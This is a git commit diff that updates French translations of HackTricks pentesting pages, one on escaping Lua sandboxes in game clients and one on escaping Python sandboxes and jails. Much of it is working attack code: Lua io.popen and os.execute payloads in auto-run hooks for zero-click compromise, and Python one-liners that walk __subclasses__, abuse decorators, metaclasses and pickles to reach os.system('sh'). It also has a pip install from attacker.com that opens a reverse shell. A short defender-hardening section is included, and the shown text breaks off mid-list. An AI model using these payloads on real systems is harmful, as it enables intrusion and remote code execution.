Translated ['src/pentesting-web/web-vulnerabilities-methodology/README.m

This commit is contained in:
Translator 2025-09-03 11:32:52 +00:00
parent 20d8a99af2
commit e6f4be8996
9 changed files with 317 additions and 1820 deletions

View File

@ -1,18 +1,18 @@
# Bypass Lua sandboxes (embedded VMs, game clients)
# Contourner les sandboxes Lua (VMs embarqués, clients de jeu)
{{#include ../../../banners/hacktricks-training.md}}
Cette page rassemble des techniques pratiques pour énumérer et s'échapper des sandboxes Lua intégrées dans des applications (notamment les game clients, plugins, or in-app scripting engines). De nombreux moteurs exposent un environnement Lua restreint, mais laissent des globals puissants accessibles qui permettent l'exécution arbitraire de commandes ou même une corruption mémoire native lorsque des bytecode loaders sont exposés.
Cette page rassemble des techniques pratiques pour énumérer et s'échapper des sandboxes Lua intégrées dans des applications (notamment clients de jeu, plugins ou moteurs de scripting in-app). Beaucoup de moteurs exposent un environnement Lua restreint, mais laissent des globals puissants accessibles qui permettent l'exécution de commandes arbitraires ou même la corruption mémoire native lorsque des bytecode loaders sont exposés.
Idées clés :
- Considérez la VM comme un environnement inconnu : énumérez _G et découvrez quelles primitives dangereuses sont accessibles.
- Quand stdout/print est bloqué, utilisez tout canal UI/IPC in-VM comme canal de sortie pour observer les résultats.
- Si io/os est exposé, vous avez souvent une exécution directe de commandes (io.popen, os.execute).
- Si load/loadstring/loadfile sont exposés, l'exécution de Lua bytecode crafté peut compromettre la sécurité mémoire dans certaines versions (≤5.1 verifiers are bypassable; 5.2 removed verifier), permettant une exploitation avancée.
- Quand stdout/print est bloqué, abusez de n'importe quel canal UI/IPC in-VM comme sortie pour observer les résultats.
- Si io/os est exposé, vous avez souvent une exécution de commandes directe (io.popen, os.execute).
- Si load/loadstring/loadfile sont exposés, l'exécution de bytecode Lua conçu peut subvertir la sécurité mémoire dans certaines versions (≤5.1 les verifiers sont bypassables ; 5.2 a supprimé le verifier), permettant une exploitation avancée.
## Enumerate the sandboxed environment
## Énumérer l'environnement sandboxé
- Exporter l'environnement global pour recenser les tables/fonctions accessibles:
- Exporter l'environnement global pour inventorier les tables/fonctions accessibles :
```lua
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
local function dump_globals(out)
@ -22,7 +22,7 @@ out(tostring(k) .. " = " .. tostring(v))
end
end
```
- Si print() n'est pas disponible, réaffectez les in-VM channels. Exemple tiré d'un MMO housing script VM où la sortie chat ne fonctionne qu'après un appel sonore ; ce qui suit construit une fonction de sortie fiable :
- Si print() n'est pas disponible, réaffectez les in-VM channels. Exemple tiré d'un housing script VM d'un MMO où chat output ne fonctionne qu'après un sound call ; l'exemple suivant crée une fonction de sortie fiable :
```lua
-- Build an output channel using in-game primitives
local function ButlerOut(label)
@ -39,11 +39,11 @@ local out = ButlerOut(1)
dump_globals(out)
end
```
Généralisez ce modèle pour votre cible : tout champ de texte, toast, logger ou callback UI acceptant des chaînes peut servir de stdout pour la reconnaissance.
Généralisez ce modèle pour votre cible : tout textbox, toast, logger ou UI callback qui accepte des chaînes peut servir de stdout pour la reconnaissance.
## Exécution directe de commandes si io/os est exposé
Si la sandbox expose encore les bibliothèques standard io ou os, vous avez probablement une exécution de commandes immédiate :
Si le sandbox expose toujours les bibliothèques standard io ou os, vous avez probablement une exécution de commandes immédiate :
```lua
-- Windows example
io.popen("calc.exe")
@ -52,30 +52,30 @@ io.popen("calc.exe")
os.execute("/usr/bin/id")
io.popen("/bin/sh -c 'id'")
```
Remarques :
- L'exécution se déroule à l'intérieur du processus client ; de nombreuses couches anti-cheat/antidebug qui bloquent les debuggers externes n'empêcheront pas la création de processus in-VM.
- Vérifier aussi : package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM).
Remarques:
- L'exécution se déroule à l'intérieur du processus client ; de nombreuses couches anti-cheat/antidebug qui bloquent les external debuggers n'empêcheront pas la création de processus in-VM.
- Vérifier également : package.loadlib (chargement arbitraire de DLL/.so), require avec des native modules, LuaJIT's ffi (si présent), et la debug library (peut élever les privilèges à l'intérieur du VM).
## Zero-click triggers via auto-run callbacks
## Déclencheurs zero-click via auto-run callbacks
If the host application pushes scripts to clients and the VM exposes auto-run hooks (e.g., OnInit/OnLoad/OnEnter), place your payload there for drive-by compromise as soon as the script loads:
Si l'application hôte pousse des scripts vers les clients et que le VM expose des auto-run hooks (e.g., OnInit/OnLoad/OnEnter), placez votre payload là pour un drive-by compromise dès que le script se charge:
```lua
function OnInit()
io.popen("calc.exe") -- or any command
end
```
Tout callback équivalent (OnLoad, OnEnter, etc.) généralise cette technique lorsque les scripts sont transmis et exécutés automatiquement sur le client.
Any equivalent callback (OnLoad, OnEnter, etc.) generalizes this technique when scripts are transmitted and executed on the client automatically.
## Primitives dangereuses à rechercher pendant la recon
## Primitives dangereuses à rechercher pendant la reconnaissance
Lors de l'énumération de _G, recherchez spécifiquement :
- io, os: io.popen, os.execute, file I/O, env access.
- io, os: io.popen, os.execute, E/S de fichiers, accès aux variables d'environnement.
- load, loadstring, loadfile, dofile: exécuter du source ou du bytecode ; permet de charger du bytecode non fiable.
- package, package.loadlib, require: chargement dynamique de bibliothèques et surface des modules.
- package, package.loadlib, require: chargement de bibliothèques dynamiques et exposition des modules.
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, et hooks.
- LuaJIT-only: ffi.cdef, ffi.load pour appeler du code natif directement.
Exemples d'utilisation minimaux (si accessibles) :
Exemples d'utilisation minimaux (si accessibles):
```lua
-- Execute source/bytecode
local f = load("return 1+1")
@ -90,20 +90,20 @@ print(g())
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
local foo = mylib()
```
## Escalade optionnelle : abusing Lua bytecode loaders
## Escalade optionnelle : abus des loaders de bytecode Lua
Lorsque load/loadstring/loadfile sont accessibles mais que io/os sont restreints, l'exécution de bytecode Lua spécialement conçu peut conduire à des primitives de divulgation mémoire et de corruption. Faits clés :
- Lua ≤ 5.1 incluait un bytecode verifier qui possède des contournements connus.
- Lua 5.2 a supprimé le verifier entièrement (position officielle : les applications devraient simplement rejeter les chunks précompilés), élargissant la surface d'attaque si le chargement de bytecode n'est pas prohibé.
- Workflows typiques : leak de pointeurs via sortie in-VM, création de bytecode pour provoquer des confusions de type (par ex. autour de FORLOOP ou d'autres opcodes), puis pivot vers read/write arbitraire ou exécution de code natif.
Quand load/loadstring/loadfile sont accessibles mais que io/os sont restreints, l'exécution de Lua bytecode spécialement conçu peut conduire à memory disclosure et à des primitives de corruption. Points clés :
- Lua ≤ 5.1 incluait un bytecode verifier avec des bypasses connus.
- Lua 5.2 a supprimé entièrement le verifier (position officielle : les applications devraient simplement rejeter les precompiled chunks), élargissant la surface d'attaque si bytecode loading n'est pas interdit.
- Workflows typiques : leak de pointeurs via sortie in-VM, craft de bytecode pour créer des type confusions (p. ex. autour de FORLOOP ou d'autres opcodes), puis pivot vers arbitrary read/write ou native code execution.
Cette voie est spécifique à l'engine/version et nécessite RE. Voir les références pour des deep dives, primitives d'exploitation et exemples de gadgetry dans les jeux.
Ce chemin est spécifique au engine/version et nécessite du RE. Voir les références pour des deep dives, exploitation primitives, et des exemples de gadgetry dans les jeux.
## Detection and hardening notes (for defenders)
## Notes de détection et de durcissement (pour les défenseurs)
- Server side : rejeter ou réécrire les user scripts ; allowlist les APIs sûres ; strip ou bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
- Client side : exécuter Lua avec un _ENV minimal, interdire le chargement de bytecode, réintroduire un strict bytecode verifier ou des vérifications de signature, et bloquer la création de processus depuis le client process.
- Telemetry : alerter sur gameclient → child process creation peu après le chargement d'un script ; corréler avec événements UI/chat/script.
- Côté serveur : rejeter ou réécrire les scripts utilisateurs ; allowlist les API sûres ; enlever ou binder à vide io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
- Côté client : exécuter Lua avec un _ENV minimal, interdire le bytecode loading, réintroduire un strict bytecode verifier ou des signature checks, et bloquer la création de processus depuis le process client.
- Télémétrie : alerter sur gameclient → child process creation peu après le chargement d'un script ; corréler avec les événements UI/chat/script.
## References

View File

@ -2,12 +2,12 @@
{{#include ../../../banners/hacktricks-training.md}}
Voici quelques techniques pour contourner les protections de sandbox Python et exécuter des commandes arbitraires.
Voici quelques astuces pour contourner les protections des sandboxes Python et exécuter des commandes arbitraires.
## Bibliothèques d'exécution de commandes
La première chose à savoir est si vous pouvez exécuter du code directement avec une bibliothèque déjà importée, ou si vous pouvez importer l'une de ces bibliothèques :
La première chose à savoir est si vous pouvez directement exécuter du code avec une bibliothèque déjà importée, ou si vous pouvez importer l'une de ces bibliothèques:
```python
os.system("ls")
os.popen("ls").read()
@ -40,11 +40,11 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Rappelez-vous que les fonctions _**open**_ et _**read**_ peuvent être utiles pour **lire des fichiers** à l'intérieur du python sandbox et pour **écrire du code** que vous pourriez **exécuter** pour **contourner** le sandbox.
N'oubliez pas que les fonctions _**open**_ et _**read**_ peuvent être utiles pour **lire des fichiers** à l'intérieur du python sandbox et pour **écrire du code** que vous pourriez **exécuter** pour **bypass** le sandbox.
> [!CAUTION] > **Python2 input()** function permet d'exécuter du code python avant que le programme ne plante.
> [!CAUTION] > **Python2 input()** permet d'exécuter du code python avant que le programme ne plante.
Python tente de **charger les bibliothèques depuis le répertoire courant en priorité** (la commande suivante affichera d'où python charge les modules) : `python3 -c 'import sys; print(sys.path)'`
Python essaie de **charger les bibliothèques depuis le répertoire courant en premier** (la commande suivante affichera d'où python charge les modules) : `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
@ -52,9 +52,9 @@ Python tente de **charger les bibliothèques depuis le répertoire courant en pr
### Packages par défaut
Vous pouvez trouver une **liste des packages pré-installés** ici: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Vous pouvez trouver une **liste des packages préinstallés** ici: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Notez que depuis un pickle vous pouvez faire en sorte que l'environnement python **importe des bibliothèques arbitraires** installées sur le système.\
Par exemple, le pickle suivant, une fois chargé, va importer la bibliothèque pip pour l'utiliser:
Par exemple, le pickle suivant, lorsqu'il est chargé, importera la librairie pip pour l'utiliser :
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -69,28 +69,28 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
Pour plus d'informations sur le fonctionnement de pickle, consultez ceci : [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Paquet pip
### Pip package
Astuce partagée par **@isHaacK**
Si vous avez accès à `pip` ou à `pip.main()`, vous pouvez installer un package arbitraire et obtenir un reverse shell en appelant :
Si vous avez accès à `pip` ou `pip.main()`, vous pouvez installer un package arbitraire et obtenir un reverse shell en appelant :
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Vous pouvez télécharger le package pour créer la reverse shell ici. Veuillez noter qu'avant de l'utiliser vous devez **décompresser le fichier, modifier le `setup.py`, et mettre votre IP pour la reverse shell** :
Vous pouvez télécharger le package pour créer le reverse shell ici. Veuillez noter qu'avant de l'utiliser vous devez **le décompresser, modifier le `setup.py`, et mettre votre IP pour le reverse shell** :
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!TIP]
> Ce package s'appelle `Reverse`. Cependant, il a été spécialement conçu de sorte que lorsque vous quittez la reverse shell le reste de l'installation échouera, donc vous **ne laisserez aucun python package supplémentaire installé sur le server** lorsque vous partirez.
> Ce package s'appelle `Reverse`. Cependant, il a été spécialement conçu pour que lorsque vous quittez le reverse shell le reste de l'installation échoue, donc vous **ne laisserez aucun package python supplémentaire installé sur le serveur** lorsque vous partez.
## Eval-ing python code
## Utiliser eval sur du code python
> [!WARNING]
> Notez que exec autorise les chaînes multilignes et ";", mais eval ne le fait pas (check walrus operator)
> Notez que exec autorise les chaînes multilignes et ";", mais eval ne le permet pas (check walrus operator)
Si certains caractères sont interdits vous pouvez utiliser la représentation **hex/octal/B64** pour **bypass** la restriction :
```python
@ -113,7 +113,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### Autres bibliothèques qui permettent l'eval du code python
### Autres bibliothèques permettant d'utiliser eval sur du code python
```python
#Pandas
import pandas as pd
@ -127,7 +127,7 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
Voir aussi une évasion réelle d'un évaluateur sandboxé dans les générateurs de PDF :
Voir aussi une évasion réelle d'un évaluateur sandboxé dans des générateurs PDF :
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Il abuse de rl_safe_eval pour atteindre function.__globals__ et os.system à partir d'attributs évalués (par exemple, la couleur de police) et renvoie une valeur valide pour maintenir le rendu stable.
@ -144,9 +144,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Contournement des protections via des encodages (UTF-7)
## Contournement des protections via les encodages (UTF-7)
Dans [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 est utilisé pour charger et exécuter du code python arbitraire à l'intérieur d'un sandbox apparent :
Dans [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 est utilisé pour charger et exécuter du code python arbitraire à l'intérieur d'un sandbox apparent:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -157,11 +157,11 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
Il est aussi possible de le contourner en utilisant d'autres encodages, p. ex. `raw_unicode_escape` et `unicode_escape`.
Il est aussi possible de le contourner en utilisant d'autres encodages, par exemple `raw_unicode_escape` et `unicode_escape`.
## Exécution Python sans calls
## Exécution Python sans appels
Si vous êtes dans un python jail qui **ne vous permet pas d'effectuer des calls**, il existe néanmoins plusieurs façons d'**exécuter des fonctions arbitraires, du code** et des **commandes**.
Si vous êtes à l'intérieur d'un python jail qui **ne vous permet pas d'effectuer d'appels**, il existe néanmoins des moyens d'**exécuter des fonctions arbitraires, du code** et des **commandes**.
### RCE avec [decorators](https://docs.python.org/3/glossary.html#term-decorator)
```python
@ -185,13 +185,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE création d'objets et surcharge
### RCE création d'objets et surcharge
Si vous pouvez **déclarer une classe** et **créer un objet** de cette classe, vous pourriez **écrire/surcharger différentes méthodes** qui peuvent être **déclenchées** **sans** **avoir besoin de les appeler directement**.
Si vous pouvez **déclarer une classe** et **créer un objet** de cette classe, vous pouvez **écrire/écraser différentes méthodes** qui peuvent être **déclenchées** **sans** **avoir besoin de les appeler directement**.
#### RCE avec des classes personnalisées
Vous pouvez modifier certaines **méthodes de classe** (_en écrasant des méthodes de classe existantes ou en créant une nouvelle classe_) pour qu'elles **exécutent du code arbitraire** lorsqu'elles sont **déclenchées** sans les appeler directement.
Vous pouvez modifier certaines **méthodes de classe** (_en écrasant des méthodes de classe existantes ou en créant une nouvelle classe_) pour les faire **exécuter du code arbitraire** lorsqu'elles sont **déclenchées** sans les appeler directement.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -241,9 +241,9 @@ __iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```
#### Création d'objets avec [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
#### Créer des objets avec [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
La chose essentielle que les metaclasses nous permettent de faire est de **créer une instance d'une classe, sans appeler directement le constructeur**, en créant une nouvelle classe ayant la classe cible comme metaclass.
L'essentiel que les metaclasses nous permettent de faire est de **créer une instance d'une classe, sans appeler directement le constructeur**, en créant une nouvelle classe ayant la classe cible comme metaclass.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -260,7 +260,7 @@ Sub['import os; os.system("sh")']
```
#### Création d'objets avec des exceptions
Lorsqu'une **exception est déclenchée**, un objet de l'**Exception** est **créé** sans que vous ayez besoin d'appeler directement le constructeur (une astuce de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
Lorsqu'une **exception est déclenchée** un objet de **Exception** est **créé** sans que vous ayez besoin d'appeler directement le constructeur (une astuce de [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -302,7 +302,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### Lire un fichier avec builtins help & licence
### Lire le fichier avec builtins help & license
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -316,17 +316,17 @@ pass
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
Si vous pouvez accéder à l'objet **`__builtins__`** vous pouvez importer des librairies (notez que vous pouvez aussi utiliser ici d'autres représentations sous forme de chaîne montrées dans la dernière section):
Si vous pouvez accéder à l'objet **`__builtins__`**, vous pouvez importer des bibliothèques (notez que vous pouvez aussi utiliser ici d'autres représentations de chaîne montrées dans la dernière section) :
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### No Builtins
### Pas de Builtins
Quand vous n'avez pas `__builtins__` vous ne pourrez ni importer quoi que ce soit ni même lire ou écrire des fichiers car **toutes les fonctions globales** (comme `open`, `import`, `print`...) **ne sont pas chargées**.\
Cependant, **par défaut python importe de nombreux modules en mémoire**. Ces modules peuvent sembler bénins, mais certains d'entre eux importent **également des fonctionnalités dangereuses** en leur sein pouvant être exploitées pour obtenir **une exécution de code arbitraire**.
When you don't have `__builtins__` you are not going to be able to import anything nor even read or write files as **all the global functions** (like `open`, `import`, `print`...) **aren't loaded**.\
Cependant, **par défaut python importe beaucoup de modules en mémoire**. Ces modules peuvent sembler bénins, mais certains d'entre eux importent **également des fonctionnalités dangereuses** en leur sein auxquelles on peut accéder pour obtenir même **arbitrary code execution**.
Dans les exemples suivants vous pouvez observer comment **abuser** de certains de ces modules « **bénins** » chargés pour **accéder** à des **fonctionnalités** **dangereuses** qu'ils contiennent.
Dans les exemples suivants vous pouvez observer comment **abuser** de certains de ces modules "**bénins**" chargés pour **accéder** à des **fonctionnalités** **dangereuses** à l'intérieur d'eux.
**Python2**
```python
@ -368,9 +368,9 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Ci-dessous se trouve une fonction plus grande**](#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** d'**endroits** où vous pouvez trouver les **builtins**.
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** d'**endroits** où vous pouvez trouver les **builtins**.
#### Python2 and Python3
#### Python2 et Python3
```python
# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
@ -386,7 +386,7 @@ __builtins__["__import__"]("os").system("ls")
```
## Globals et locals
Vérifier les **`globals`** et **`locals`** est un bon moyen de savoir ce à quoi vous pouvez accéder.
Consulter les **`globals`** et **`locals`** est un bon moyen de savoir ce à quoi vous avez accès.
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -410,15 +410,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** d'**emplacements** où vous pouvez trouver les **globals**.
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) pour trouver des dizaines/**centaines** d'**endroits** où vous pouvez trouver les **globals**.
## Découvrir l'exécution arbitraire
Ici je veux expliquer comment découvrir facilement **des fonctionnalités chargées plus dangereuses** et proposer des exploits plus fiables.
Ici je veux expliquer comment découvrir facilement **des fonctionnalités plus dangereuses chargées** et proposer des exploits plus fiables.
#### Accéder aux subclasses avec bypasses
#### Accéder aux subclasses with bypasses
Une des parties les plus sensibles de cette technique est la capacité à **access the base subclasses**. Dans les exemples précédents, cela a été fait en utilisant `''.__class__.__base__.__subclasses__()` mais il existe **d'autres façons possibles**:
L'une des parties les plus sensibles de cette technique est de pouvoir **access the base subclasses**. Dans les exemples précédents cela se faisait en utilisant `''.__class__.__base__.__subclasses__()` mais il existe **d'autres manières possibles** :
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -448,16 +448,16 @@ defined_func.__class__.__base__.__subclasses__()
```
### Trouver les bibliothèques dangereuses chargées
Par exemple, sachant qu'avec la bibliothèque **`sys`** il est possible d'**importer des bibliothèques arbitraires**, vous pouvez rechercher tous les **modules chargés qui ont importé sys** :
Par exemple, sachant qu'avec la bibliothèque **`sys`** il est possible de **import arbitrary libraries**, vous pouvez rechercher tous les **modules chargés qui ont importé sys en leur sein** :
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
Il y en a beaucoup, et **nous n'en avons besoin que d'un** pour exécuter des commandes:
Il y en a beaucoup, et **nous n'avons besoin que d'un seul** pour exécuter des commandes :
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
Nous pouvons faire la même chose avec **d'autres bibliothèques** que nous savons pouvoir utiliser pour **exécuter des commandes** :
Nous pouvons faire la même chose avec **d'autres bibliothèques** que nous savons pouvoir utiliser pour **exécuter des commandes**:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -544,10 +544,10 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, 